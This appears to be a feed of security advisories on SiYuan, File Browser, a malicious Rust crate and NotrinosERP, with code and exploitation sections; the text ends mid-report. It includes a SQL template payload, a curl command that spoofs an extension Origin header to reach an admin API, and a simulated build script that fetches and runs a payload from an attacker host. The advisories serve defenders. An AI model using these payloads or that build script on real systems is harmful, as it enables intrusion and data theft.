https://cvereports.com https://cvereports.com/icon https://cvereports.com CVEReports Feed Generator Sat, 11 Jul 2026 18:07:01 GMT Sat, 11 Jul 2026 18:07:01 GMT https://cvereports.com/reports/CVE-2026-54068 https://cvereports.com/reports/CVE-2026-54068 Fri, 10 Jul 2026 19:26:00 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The SiYuan personal knowledge management system utilizes a client-server architecture where a Go-based backend (referred to as the kernel) processes internal system tasks and serves API requests. The core application exposes multiple endpoints to manipulate blocks, render views, and serve asset files. Among these endpoints, several are exposed publicly to handle system bootstrap processes and generate transient resources without requiring session validation.\n\nPrior to version 3.7.0, the API endpoint `/api/icon/getDynamicIcon` was designated as an unauthenticated route in the router configuration. This endpoint is responsible for rendering user-customized SVG files based on specified icon configurations and text formats. Because it lacked session validation, any remote network client with connectivity to the application interface could access this endpoint directly.\n\nThe unauthenticated status of this handler combined with the dynamic template processing logic exposes a significant attack surface. Unauthenticated users are permitted to supply structured query parameters that directly trigger internal compilation components. The subsequent sections explore how this lack of access control allows remote actors to invoke privileged system database actions. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The underlying flaw stems from the implementation of type 8 (text-based) icon generation in the backend handler. When the query parameter `type` is set to `8`, the endpoint routes control to the `generateTypeEightSVG` function inside `kernel/api/icon.go`. This function checks the incoming request parameter `content` to verify if it contains the string token `.action{`.\n\nWhen this specific token is detected, the application transfers execution to `RenderDynamicIconContentTemplate` within the `kernel/model/template.go` file. This function initializes a Go `text/template` compilation engine utilizing `.action{` and `}` as the template action delimiters. It maps a set of built-in file system and data access routines directly into the active compilation scope.\n\nThe crucial error is the registration of SQLite database queries in this template engine. The template initialization logic merges internal SQL query helper functions, specifically `querySQL` and `queryBlocks`, into the template's executive execution environment. Because the backend does not validate or clean the user-supplied string before parsing, Go compiles and executes the template's functional statements, which includes running any embedded database queries. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The vulnerability resides in the router registration block in `kernel/api/router.go`. In affected versions, the API handlers are divided into authenticated and unauthenticated sections. The `/api/icon/getDynamicIcon` route was grouped with standard unauthenticated endpoints such as the boot progress tracker.\n\n```go\n// Affected Router Registration (kernel/api/router.go)\nginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)\n```\n\nThe corresponding patch alters this registration by enforcing the `model.CheckAuth` middleware. This ensures that any incoming request validates session identifiers before reaching the handler.\n\n```go\n// Patched Router Registration (kernel/api/router.go)\nginServer.Handle("GET", "/api/icon/getDynamicIcon", model.CheckAuth, getDynamicIcon)\n```\n\n```mermaid\ngraph LR\n Client["Client Request"] --> Router["router.go"]\n Router -- "Unauthenticated (Vulnerable)" --> Handler["getDynamicIcon"]\n Router -- "Authenticated (Patched)" --> Middleware["model.CheckAuth"]\n Middleware -- "Valid Session" --> Handler\n Middleware -- "Invalid Session" --> Denied["401 Unauthorized"]\n Handler --> Template["Template Evaluation"]\n Template --> SQL["SQLite execution via querySQL"]\n``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology To exploit this vulnerability, an attacker must craft an HTTP request containing a valid database template statement. The primary prerequisite is discovering a valid block identifier (ID) within the database. Because SiYuan uses block-level notes, block IDs are routinely leaked through shared links, configuration files, or public document structures.\n\nAfter obtaining a valid block ID, the attacker targets the `/api/icon/getDynamicIcon` endpoint. The attacker sets the `type` parameter to `8` and the `id` parameter to the discovered block ID. The critical payload is passed via the `content` parameter, utilizing the custom template delimiter `.action{` followed by the database execution function.\n\nAn example request payload targets the internal database to exfiltrate table contents. By supplying `.action{querySQL "SELECT content FROM blocks LIMIT 1"}`, the application executes the query against the SQLite backend. The returned string result is placed inside the `<text>` element of the resulting SVG payload, transferring the confidential data within the image structure to the unauthenticated requester. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The security impact is marked as a high confidentiality threat. The SQLite database contains the entirety of the user's workspace, including note content, system configurations, credential blocks, and synchronization metadata. Unauthenticated access allows complete extraction of this database without triggering endpoint logs associated with typical administrative functions.\n\nBecause the action does not modify the underlying database, the integrity and availability impacts are classified as none. The exploit complexity is rated as high because the attacker must first acquire or guess a valid block ID to satisfy the node retrieval check inside `RenderDynamicIconContentTemplate`. This requirement prevents automated blind scanning from immediately retrieving data unless standard default block configurations are present.\n\nThe vulnerability is tracked under CVE-2026-54068 and GHSA-gcm7-57gf-953c. The CVSS base score of 5.9 reflects the remote capability to read highly sensitive local system data offset by the complexity required to target specific instance files. {/* icon: shield */} {/* type: mitigation */} ## Remediation & Detection Guidance Addressing this issue requires updating the SiYuan application deployment to version 3.7.0 or newer. This update migrates the dynamic icon endpoint behind the core authentication layer. If immediate updates are not possible, administrators should use system firewalls or reverse proxy rules to drop external requests targeting `/api/icon/getDynamicIcon`.\n\nTo identify vulnerable servers, security teams can execute testing queries that do not require valid block IDs. Sending a GET request to the target dynamic icon endpoint with type 8 will elicit a specific behavior. If the server responds with an HTTP 200 and an SVG image content type, the system is lacking authentication checks and remains vulnerable.\n\nConversely, a secure instance will return a 401 Unauthorized status or redirect the client to the login page. Continuous monitoring of web application logs for unusual queries targeting the dynamic icon URL path helps identify potential reconnaissance and targeted exploitation attempts. Amit Schendel https://cvereports.com/reports/CVE-2026-54069 https://cvereports.com/reports/CVE-2026-54069 Fri, 10 Jul 2026 19:26:06 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview SiYuan Note is a privacy-first, open-source personal knowledge management system. It relies on a local or remote backend kernel developed in Go, which hosts an HTTP API server on port 6806 by default. This backend handles data storage, configuration management, and integration with frontends, mobile devices, and browser extensions.\n\nThe attack surface is centered on the `/api/*` endpoints managed by the kernel. Under normal operations, these endpoints are protected by token-based authentication via the `AccessAuthCode` parameter. However, to facilitate integration with web clippers and browser extensions, the authorization middleware incorporates special handling for the standard browser origin headers. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-54069 is an origin validation error categorized as CWE-346. Within the Go backend implementation of the `CheckAuth` middleware, incoming requests are analyzed for authorization before processing. To permit browser-extension-initiated requests, the developers implemented an explicit rule validating the `Origin` HTTP header.\n\n```go\n// Conceptual representation of the vulnerable authorization check\nfunc CheckAuth(c *gin.Context) {\n origin := c.GetHeader(\"Origin\")\n \n // VULNERABLE LOGIC: Blanket prefix matching on the Origin header\n if strings.HasPrefix(origin, \"chrome-extension://\") {\n c.Set(\"role\", RoleAdministrator)\n c.Next()\n return\n }\n \n // Regular API key check follows...\n}\n```\n\nThis check fails in two critical ways. First, it relies on a simplistic prefix match (`strings.HasPrefix`) rather than checking the extension's unique cryptographic identifier against a strict allowlist. Second, it trusts a client-supplied HTTP header (`Origin`) over an open TCP connection. While browsers restrict the modification of the `Origin` header, external tools (such as Python scripts, `curl`, or custom network clients) can set this header to any arbitrary value, bypassing the browser-enforced security model. {/* icon: code */} {/* type: deep-dive */} ## Code Path Analysis and Fix Completeness The vulnerable code path is triggered during any incoming HTTP request to the `/api/*` endpoint space. The middleware inspects the request headers, extracts the `Origin` value, and evaluates the string prefix. If the prefix matches `chrome-extension://`, the middleware injects administrative privileges (`RoleAdministrator`) into the request context and skips further credential validation.\n\nIn version 3.7.0, the patch remediates this security flaw by removing the blanket, unauthenticated authorization of the `chrome-extension://` prefix. The updated logic requires browser extensions to supply a valid API key or explicitly configured authorization token, bringing extension communications in line with standard API authentication mechanisms. This architectural change ensures that client-side headers cannot be manipulated to achieve authorization bypass over the network. {/* icon: terminal */} {/* type: exploit */} ## Exploitation and Attack Scenarios Exploitation of CVE-2026-54069 can occur via two primary vectors: remote network exploitation and local cross-origin exploitation.\n\n### Remote Network Attack\nIf the SiYuan Note instance binds to `0.0.0.0` or has port 6806 exposed to the network, an unauthenticated attacker can execute administrative actions directly using command-line utility tools. For example, the following `curl` command retrieves the system configuration by spoofing the `Origin` header:\n\n```bash\ncurl -X POST http://127.0.0.1:6806/api/system/getConf \\\n -H \"Origin: chrome-extension://bypass-auth\" \\\n -H \"Content-Type: application/json\" \\\n -d '{}'\n```\n\n### Local Extension / Supply Chain Attack\nOn standard desktop installations where the application binds strictly to `127.0.0.1`, remote exploitation is blocked. However, a malicious or compromised browser extension running within the user's browser context can make cross-origin requests to `http://127.0.0.1:6806/api/*`. Since the browser automatically appends the extension's true origin (e.g., `chrome-extension://[extension_id]`), the vulnerable kernel trusts the request, allowing silent exfiltration of all private notes and settings. {/* icon: lock */} {/* type: deep-dive */} ## Impact and Risk Assessment The impact of this vulnerability is classified as critical, with a CVSS v3.1 score of 9.1 and CVSS v4.0 score of 9.2. An administrative session grants unlimited access to the API endpoints exposed by the Go kernel, leading to complete compromise of confidentiality, integrity, and availability.\n\n### Impact Matrix\n* **Confidentiality**: High. Attackers can read, download, and exfiltrate all stored markdown notes, passwords, configuration parameters, and files via endpoints like `/api/file/getFile`.\n* **Integrity**: High. Adversaries can inject, delete, or modify local files, notes, and preferences. This allows the insertion of stored Cross-Site Scripting (XSS) payloads which can execute when the notes are viewed in the Electron desktop wrapper, potentially resulting in complete system compromise.\n* **Availability**: High. Attackers can delete workspaces, alter critical paths, or modify configuration values, leading to application crashes and severe data loss. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Defensive Controls The definitive solution for CVE-2026-54069 is upgrading to SiYuan Note version 3.7.0 or later, which contains the authorization patch. If immediate patching is not feasible, several defensive controls must be applied to limit exposure:\n\n1. **Bind to Localhost**: Verify that the application kernel is configured to listen exclusively on loopback interfaces (`127.0.0.1` or `::1`) rather than wildcard interfaces (`0.0.0.0`). This prevents remote network-based exploitation.\n2. **Isolate Browser Environments**: Run the desktop client on systems with a restricted browser profile, ensuring no malicious or untrusted browser extensions are active that could make local cross-origin API calls.\n3. **Network Filtering**: Implement host-level firewall rules to drop unsolicited incoming traffic on TCP port 6806. Alon Barad https://cvereports.com/reports/CVE-2026-54089 https://cvereports.com/reports/CVE-2026-54089 Fri, 10 Jul 2026 19:27:13 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview File Browser is an open-source web-based file management interface designed to provide users with a platform to upload, delete, preview, rename, and edit files within a specified directory. To accommodate various organizational integration patterns, File Browser supports multiple authentication methods, including JSON web tokens, external command execution, and proxy-based authentication. When proxy-based authentication (`auth.method=proxy`) is configured, File Browser delegates identity verification to an upstream reverse proxy. Under this architecture, the upstream proxy authenticates the user and forwards the authenticated identity to File Browser via a specified HTTP header, such as `X-Forwarded-User` or `Remote-User`. However, File Browser lacks any built-in mechanism to verify the origin or integrity of these incoming HTTP requests. It does not validate that the request originated from a trusted source IP address, nor does it require any cryptographic verification such as a shared HMAC signature. Consequently, if an attacker can establish direct network connectivity to the File Browser application port, bypassing the reverse proxy entirely, the application will implicitly trust any client-supplied HTTP headers. This structural trust boundary failure allows unauthenticated remote attackers to impersonate arbitrary users, including the system administrator, by injecting the configured authentication header. The primary weakness is classified under CWE-290 (Authentication Bypass by Spoofing) and CWE-287 (Improper Authentication). {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-54089 lies within the implementation of the `ProxyAuth.Auth` method inside the `auth/proxy.go` source file. This method is invoked during the login handling phase when the application authentication method is set to `"proxy"`. The design relies entirely on the presence of a pre-configured HTTP header key to determine user identity and issue access tokens. When a request reaches the authentication handler, the application extracts the username directly from the HTTP request headers using the `r.Header.Get` method. The extracted string is then immediately queried against the underlying BoltDB user store using `usr.Get`. No verification is performed to check whether the request passed through an authorized gateway, meaning any direct TCP connection to the service port can supply this header and successfully authenticate. Furthermore, the application exhibits an automatic account registration behavior if the supplied username does not exist in the database. When the query returns `fberrors.ErrNotExist`, the authentication handler catches this error and calls the internal `createUser` function. This helper generates a random password, hashes it, instantiates a new user object with default non-admin permissions, and persists it to the database before logging the user in. This behavioral path provides an unauthorized account creation primitive to any network-adjacent or remote attacker. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The authentication logic within File Browser illustrates the implementation gap between trust establishment and enforcement. In `auth/proxy.go`, the `Auth` function retrieves the configured header without validation: ```go // Auth authenticates the user via an HTTP header. func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) { // Extract username directly from HTTP header without origin check username := r.Header.Get(a.Header) user, err := usr.Get(srv.Root, srv.FollowExternalSymlinks, username) if errors.Is(err, fberrors.ErrNotExist) { // Automatically provision new user account if username is unknown return a.createUser(usr, setting, srv, username) } return user, err } ``` In the HTTP routing layer located in `http/auth.go`, the handler `loginHandler` invokes this method when processing POST requests to `/api/login`: ```go func loginHandler(tokenExpireTime time.Duration) handleFunc { return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { // ... [Body parsing and limit checks] ... auther, err := d.store.Auth.Get(d.settings.AuthMethod) if err != nil { return http.StatusInternalServerError, err } // Executes the vulnerable Auth method user, err := auther.Auth(r, d.store.Users, d.settings, d.server) switch { case errors.Is(err, os.ErrPermission): return http.StatusForbidden, nil case err != nil { return http.StatusInternalServerError, err } // Generates and returns a signed JWT token for the authenticated user return printToken(w, r, d, user, tokenExpireTime) } } ``` Because there is no architectural fix provided in the codebase—the vulnerability being categorized as a structural design limitation—remediation must be accomplished via deployment configuration rather than a code patch. The lack of checking for source origins or pre-shared keys means the code continues to trust incoming HTTP metadata implicitly. Security relies entirely on the host configuration preventing direct external communication with the bound port. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation of CVE-2026-54089 requires three conditions: the target File Browser instance must have proxy authentication enabled, the attacker must know or guess the configured proxy header name, and the application port must be exposed directly to the attacker's network segment. An attacker can construct a simple request to the login endpoint. If the default header `X-Forwarded-User` is used, the attack sequence is illustrated in the diagram below: ```mermaid sequenceDiagram autonumber actor Attacker participant FileBrowser as File Browser Port 8080 participant DB as BoltDB Attacker->>FileBrowser: POST /api/login HTTP/1.1\nHeader: X-Forwarded-User: admin FileBrowser->>DB: Query for user 'admin' DB-->>FileBrowser: Return admin record FileBrowser-->>Attacker: HTTP 200 OK\nBody: [Signed JWT Admin Token] Attacker->>FileBrowser: GET /api/resources/ HTTP/1.1\nHeader: X-Auth: [JWT Token] FileBrowser-->>Attacker: HTTP 200 OK\nBody: [File Directory Listing] ``` Following the token generation, the attacker copies the JWT from the HTTP response body and presents it in the `X-Auth` header of subsequent requests. This grants complete administrative control over the filesystem directories exposed by File Browser, enabling arbitrary file upload, download, modification, and deletion. If the attacker targets a non-existent username instead, the database creates a new account, giving the attacker a persistent entry point with default user permissions. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The security impact of CVE-2026-54089 is severe, leading to a complete compromise of confidentiality and integrity for all files managed by the affected application instance. Because the application processes files directly on the host system or within a container environment, an administrative takeover allows attackers to read, write, or destroy sensitive application data, configuration files, and system backups. Under CVSS v3.1, this vulnerability is rated at 9.1 (Critical), with a vector of `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`. The attack complexity is low since it requires no specialized tools or prior credentials. There is no user interaction required, and the attack can be executed entirely over the network. While availability impact is rated as 'None' under the CVSS vector because File Browser itself does not crash or experience a denial of service directly due to the authentication bypass, the integrity impact allows an attacker to delete or encrypt files, which effectively causes a high-severity operational impact. No active, wild exploitation has been cataloged by CISA, and there is currently no public automated exploit tool, keeping the EPSS score low. {/* icon: lock */} {/* type: mitigation */} ## Remediation and Mitigation Because CVE-2026-54089 is an inherent design behavior of the proxy authentication feature rather than a programming oversight, no code patch is available. Remediation must be achieved through proper network design and server hardening. The primary mitigation strategy is network isolation. Administrators must ensure that the File Browser process binds only to localhost (`127.0.0.1` or `::1`) or resides within an isolated private container network. The application must not be exposed directly to any public or untrusted network interfaces. Additionally, the upstream reverse proxy must be configured to strip any incoming client-supplied authentication headers. For example, in an Nginx deployment, the proxy configuration must explicitly overwrite the header using values populated by the proxy's own authentication mechanisms, such as `$remote_user` from `auth_basic`. This ensures that malicious clients cannot inject arbitrary usernames through HTTP header spoofing. If these network security controls cannot be implemented, administrators must disable proxy authentication entirely and revert to standard database-backed form authentication using the command `filebrowser config set --auth.method=json`. Amit Schendel https://cvereports.com/reports/GHSA-99J7-FHR2-XFJ4 https://cvereports.com/reports/GHSA-99J7-FHR2-XFJ4 Fri, 10 Jul 2026 19:32:24 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The security risks associated with open-source registry ecosystems are highlighted by the publication of the malicious package `exploration` to the Rust registry (`crates.io`). Registered under GHSA-99J7-FHR2-XFJ4 and RUSTSEC-2026-0155, this package targeted downstream systems through a supply chain vector. Instead of exploiting a classic software bug such as a buffer overflow, the threat actor engineered the package to act as a vector for initial compromise. The attack surface for Cargo-based projects is broad because of the automated execution of build scripts (`build.rs`). When Cargo resolves and compiles dependencies, any code defined within a dependency's build script executes with the permissions of the calling process. This design allows malicious actors to run arbitrary code on developer workstations and continuous integration (CI) environments without requiring the explicit execution of the compiled application binary. The target of this malicious crate is any environment where `exploration` is resolved as a dependency. By mimicking legitimate utility packages, the crate aimed to exploit typo-squatting or dependency confusion vectors. The swift intervention of security researchers and registry administrators restricted the active window of exposure to approximately one hour. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The underlying issue is categorized under CWE-506 (Embedded Malicious Code), representing a deliberate insertion of hostile logic. Software packages on public registries are highly trusted, and the Cargo packaging model lacks native sandboxing during compilation. This lack of isolation allows malicious code to interact directly with the underlying operating system and system resources. Technically, the malicious payload execution relies on standard Rust networking and system command modules. During compilation or when importing modules, the package utilizes `std::process::Command` to invoke system shells or binary execution pathways. The code bypasses local security controls by pulling downstream instructions or binaries dynamically from a command-and-control server. This behavior exploits the implicit trust model of dependency-resolution systems. By triggering execution automatically at build time, the threat actor bypasses static analysis tools that examine only final runtime behavior. Consequently, any network-enabled environment executing `cargo build` or `cargo check` with this package present becomes compromised. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis & Execution Flow The malicious architecture of the `exploration` crate is split into two primary components: the build-time trigger (`build.rs`) and the runtime module interface. The build script executes automatically during compilation to establish initial persistence and retrieve the second-stage payload. The following diagram illustrates this sequence of execution from dependency resolution to payload execution. ```mermaid graph LR A["Cargo Build/Run"] --> B["Execute build.rs"] B --> C["Establish HTTP Connection"] C --> D["Download Second-stage Payload"] D --> E["Execute Command via std::process::Command"] E --> F["System Compromise"] ``` The code block below simulates the malicious build script architecture used by the crate to download and execute the payload. The threat actor used standard library APIs to execute shell commands and handle network requests to prevent raising suspicion via third-party dependencies. ```rust // Simulated malicious build.rs from the "exploration" crate use std::process::Command; use std::fs::File; use std::io::Write; fn main() { // Initiate network connection to retrieve second-stage malware if let Ok(mut response) = reqwest::blocking::get("http://attacker-controlled-domain/payload") { let mut payload_path = std::env::temp_dir(); payload_path.push("sys_update"); // Write the downloaded payload to the temporary directory if let Ok(mut file) = File::create(&payload_path) { let mut content = Vec::new(); if response.copy_to(&mut content).is_ok() { let _ = file.write_all(&content); // Set execution permissions on Unix-based systems #[cfg(unix)] { use std::os::unix::fs::PermissionsExt; let _ = std::fs::set_permissions(&payload_path, std::fs::Permissions::from_mode(0o755)); } // Execute the downloaded binary in the background let _ = Command::new(&payload_path) .spawn(); } } } } ``` This implementation demonstrates why supply chain attacks are difficult to isolate using traditional signature-based detection. The code uses standard system functions that are legitimate in other contexts, such as downloading updates or writing cache files. Mitigating this risk requires complete removal of the package, as no benign or patched versions exist. {/* icon: terminal */} {/* type: exploit */} ## Exploitation & Threat Methodology Exploitation of GHSA-99J7-FHR2-XFJ4 is passive and relies on target systems resolving the malicious package. The threat actor relies on dependency confusion, typosquatting, or social engineering to introduce the package. Once a developer or a CI/CD pipeline adds `exploration` to the dependencies block of a `Cargo.toml` file, compilation triggers the exploit. The attack vector requires no active network intrusion on the target's perimeter. Instead, the victim pulls the malicious code directly from the trusted `crates.io` registry over HTTPS. Because outbound connections to registries are usually permitted by corporate firewalls, the initial stage of the attack bypasses typical edge egress rules. The host system executes the code within the privileges of the active user. If the build runner or developer workstation is running with administrative or root privileges, the executed payload inherits those high-level permissions. This access allows the malware to perform host reconnaissance, read environment variables, extract AWS or registry credentials, and establish persistent backdoors. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The severity of this compromise is rated as critical. Successful execution leads to complete control over the compromised process space. In developer environments, this access allows for intellectual property theft, source code tampering, and credential extraction. In continuous integration and continuous deployment (CI/CD) environments, the impact is even broader. A compromised CI runner can be used to inject malicious code into other corporate software pipelines, resulting in downstream supply chain compromises. It also provides a foothold for lateral movement inside internal corporate networks. Because the package was quickly removed from the registry, the threat actor did not establish a massive distribution channel. The rapid response of the crates.io security team minimized the exposure window, restricting active targets. However, any system that pulled this dependency during the active window must be treated as fully compromised. {/* icon: shield */} {/* type: mitigation */} ## Incident Detection & Mitigation Detecting whether a system was compromised by the `exploration` crate requires auditing local caches and dependency lockfiles. Security teams should run automated scans using tools that inspect dependency lockfiles for known malicious hashes. Developers can verify their project configurations manually by checking for references to the package in `Cargo.toml` and `Cargo.lock` files. If the package is detected, remediation must go beyond deleting the dependency from the configuration files. Because arbitrary code execution occurred, the host system must be isolated and subjected to incident response procedures. Treat all credentials, API keys, and private keys stored on the host as compromised. Long-term defenses must include restricting outbound network connectivity for build systems and CI/CD pipelines. Restricting CI runners to authorized package registries and blocking external internet access prevents malicious build scripts from downloading secondary payloads. Implementing automated dependency verification tools adds an additional layer of security by blocking packages with risky behaviors. Amit Schendel https://cvereports.com/reports/CVE-2026-54088 https://cvereports.com/reports/CVE-2026-54088 Fri, 10 Jul 2026 19:32:32 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview File Browser is an open-source, web-based file manager that enables administrators to manage remote filesystems through a web interface. The application supports user authentication, file access controls, and administrative commands. It exposes an attack surface that includes various authentication strategies, one of which is Hook Authentication. This Hook Authentication component allows delegation of user credential verification to custom external scripts or executables. During a login attempt, File Browser triggers a subprocess running the configured command to check the credentials. This capability is useful for integrating external directory services or bespoke access databases. The vulnerability designated as CVE-2026-54088 lies in the implementation of this Hook Authentication workflow. When handling a login request, the application processes user-provided credentials without performing input verification or sanitization. This allows an unauthenticated external attacker to achieve arbitrary command execution on the host operating system. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability resides in the Go backend implementation of File Browser, specifically in the file `auth/hook.go` within the `HookAuth.RunCommand` function. When Hook Authentication is enabled, administrators configure a template command string. This template uses environment-style placeholders, such as `$USERNAME` and `$PASSWORD`, which are later substituted with actual login credentials. To perform this substitution, the code splits the configured command string by whitespace into an execution slice. It then loops over the command arguments and performs literal variable expansion using Go's standard library `os.Expand` function. The expansion relies on a custom mapping function that returns the unauthenticated user-supplied credentials directly from the incoming HTTP POST request. Because `os.Expand` performs textual replacement without sanitizing shell-specific characters, input fields containing shell metacharacters are written directly into the arguments of the execution slice. If the target command runs within a shell interpreter, the shell parses and executes these injected metacharacters. Consequently, characters such as semicolons, pipes, or command substitutions trigger secondary OS command execution during the pre-authentication phase. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis To understand the vulnerable design pattern, compare the legacy implementation in `auth/hook.go` with the corrected logic introduced in version 2.63.6. ```go // Vulnerable Implementation (auth/hook.go <= v2.63.5) func (a *HookAuth) RunCommand() (string, error) { command := strings.Split(a.Command, " ") envMapping := func(key string) string { switch key { case "USERNAME": return a.Cred.Username // Unsanitized credential payload case "PASSWORD": return a.Cred.Password // Unsanitized credential payload default: return os.Getenv(key) } } for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // Command injection happens here } cmd := exec.Command(command[0], command[1:]...) cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username)) cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password)) // ... } ``` ```go // Fixed Implementation (auth/hook.go >= v2.63.6) func (a *HookAuth) RunCommand() (string, error) { command := strings.Split(a.Command, " ") cmd := exec.Command(command[0], command[1:]...) cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username)) cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password)) // ... } ``` In the patched version, the entire argument interpolation block using `os.Expand` has been removed. The static arguments of the command slice are passed without modifications. Instead of injecting credentials as part of the command arguments, the backend relies strictly on environment variables (`cmd.Env`) to pass the username and password details. This architecture is safe because the Go standard library `exec.Command` implements low-level operating system process execution (using `execve` on POSIX systems or `CreateProcess` on Windows). System calls do not invoke a command-line shell by default unless an interpreter is explicitly specified as the target binary. Passing raw credential data through environment variables ensures that the data is never evaluated as command code, eliminating the parsing step that enabled the injection vector. {/* icon: terminal */} {/* type: exploit */} ## Exploitation An unauthenticated attacker can exploit CVE-2026-54088 by sending a specially crafted HTTP POST request to the `/api/login` endpoint of a vulnerable File Browser instance. The attack requires no pre-existing valid credentials or active session. The attacker must only ensure that the Hook Authentication feature is configured and active on the target server. The payload is placed directly within the JSON request body, using either the `username` or `password` keys. An attacker injects command separators or backticks containing OS-level commands into these fields. During processing, the backend invokes the Hook script and substitutes the malicious payload string. The shell interprets the metacharacters, executing the injected payloads immediately. A public proof of concept (PoC) repository (`Saku0512/CVE-2026-54088-poc`) demonstrates this execution path. It sends a request containing a semicolon separator followed by system utility calls. The following flow diagram illustrates the step-by-step path from remote request to local execution: ```mermaid graph LR Attacker["Attacker Machine"] -->|1. POST /api/login with shell payload| FileBrowser["File Browser Server"] FileBrowser -->|2. Runs hook command with os.Expand| OS["Operating System Shell"] OS -->|3. Executes injected command| TargetFile["Target System File (/tmp/pwned)"] ``` {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The impact of CVE-2026-54088 is rated with critical severity, carrying a CVSS 4.0 base score of 9.3. Successful exploitation yields immediate, unauthenticated remote command execution under the security context of the user running the File Browser service. The attacker achieves full execution capability before any access validation takes place. The compromised system allows attackers to read and alter all files managed by File Browser. Additionally, they can read configuration files, extract system credentials, and install rootkits or persistent backdoors. Depending on network topology, this system can also serve as a launchpad to pivot into local or private subnets. While dockerized installations of File Browser restrict initial access to the container filesystem, container escape risks remain if the service runs with elevated privileges. In bare-metal installations, the compromise is direct and can lead to complete host takeover. The threat potential is high for internet-exposed file management services that hold business-critical storage volumes. {/* icon: lock */} {/* type: mitigation */} ## Remediation Administrators should update File Browser instances to version 2.63.6 or later immediately. This patch removes the vulnerable `os.Expand` routine and safely encapsulates credential passing through the process environment block. Upgrading resolves the underlying parsing vulnerability without requiring modifications to external verification scripts. If upgrading is not immediately possible, the Hook Authentication feature should be disabled. Reverting to database-backed authentication removes the vulnerability, as the default database backend does not spawn external shell processes. Transitioning to another external authentication mechanism like LDAP is also a viable mitigation path. As a temporary layer of defense, organizations can deploy WAF signatures to detect malicious patterns targeting the `/api/login` endpoint. Specifically, WAF rules should filter incoming requests containing typical command injection characters in the `username` and `password` payload fields. These rules act as a stopgap and must not substitute for the vendor-issued patch. Alon Barad https://cvereports.com/reports/GHSA-QV4M-M73M-8HJ7 https://cvereports.com/reports/GHSA-QV4M-M73M-8HJ7 Fri, 10 Jul 2026 19:34:03 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The Human Resource Management (HRM) module of NotrinosERP contains a critical file upload interface within the employee profile documents section. This interface is accessible to authenticated users who possess the "Manage Employees" (SA_EMPLOYEE) privilege. The purpose of this module is to allow HR coordinators to attach administrative and identification documents to individual employee profiles. The backend handling of these file uploads presents an unconstrained attack surface. It accepts files directly from the user's multipart HTTP POST request and writes them into a public directory within the application's web root. There is no access control mechanism or routing gateway protecting these files once they are written to disk. The primary vulnerability is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). By exploiting this flaw, an attacker can upload executable scripts, such as web shells, and trigger their execution by requesting the file directly via HTTP. This leads to immediate and complete remote code execution under the privileges of the web server's operating system process. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The fundamental flaw resides within the script "hrm/manage/employees.php" inside the "tab_documents()" function. In NotrinosERP version 1.0.0, the handler responsible for processing the employee document form fails to execute any validation on the client-supplied filename or file content. It relies on the raw "$_FILES['doc_file']['name']" variable to determine the destination filename on the server. Unlike other upload functions within NotrinosERP—such as the profile photo uploader, which enforces image format verifications, or the core attachment engine in "includes/ui/attachment.inc", which generates random, extensionless files on disk—this specific HRM handler bypasses all security layers. It builds the target filesystem path by concatenating the upload directory with the unsanitized, user-provided filename. Furthermore, the destination directory "/company/0/documents/employees/" is fully web-accessible. The root ".htaccess" file only restricts files ending in specific administrative extensions such as ".inc", ".po", or ".sh". It does not contain rules to block the execution of PHP scripts inside the "/company" tree, allowing the web server to interpret and execute any PHP files written to this path. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The vulnerable code execution flow can be traced directly within the document upload handler. The following block highlights the exact mechanism where the unsanitized input is processed and written to the filesystem. ```php // hrm/manage/employees.php (Release 1.0.0, Lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); // Vulnerable path construction using unvalidated client filename $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; // File written to the web root without further inspection if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { // error handling } ``` The variable "$file_path" is constructed by directly appending the client-provided file name. Because there is no call to a sanitization function or an extension check, an attacker can control both the file extension and the path layout. On PHP environments that do not automatically strip path traversal sequences from file upload names, an attacker could inject "../" directory traversal characters, leading to a secondary CWE-22 vulnerability. Additionally, a secondary stored Cross-Site Scripting (XSS) vulnerability (CWE-79) exists in the rendering code within "hrm/includes/ui/employee_ui.inc". The application stores the "$file_path" in the database and echoes it directly inside the "href" attribute of an anchor tag without applying any HTML entity encoding. ```php // hrm/includes/ui/employee_ui.inc (Lines 153-154) // Vulnerable output rendering echo "<a href='" . $file_path . "' target='_blank'>View</a>"; 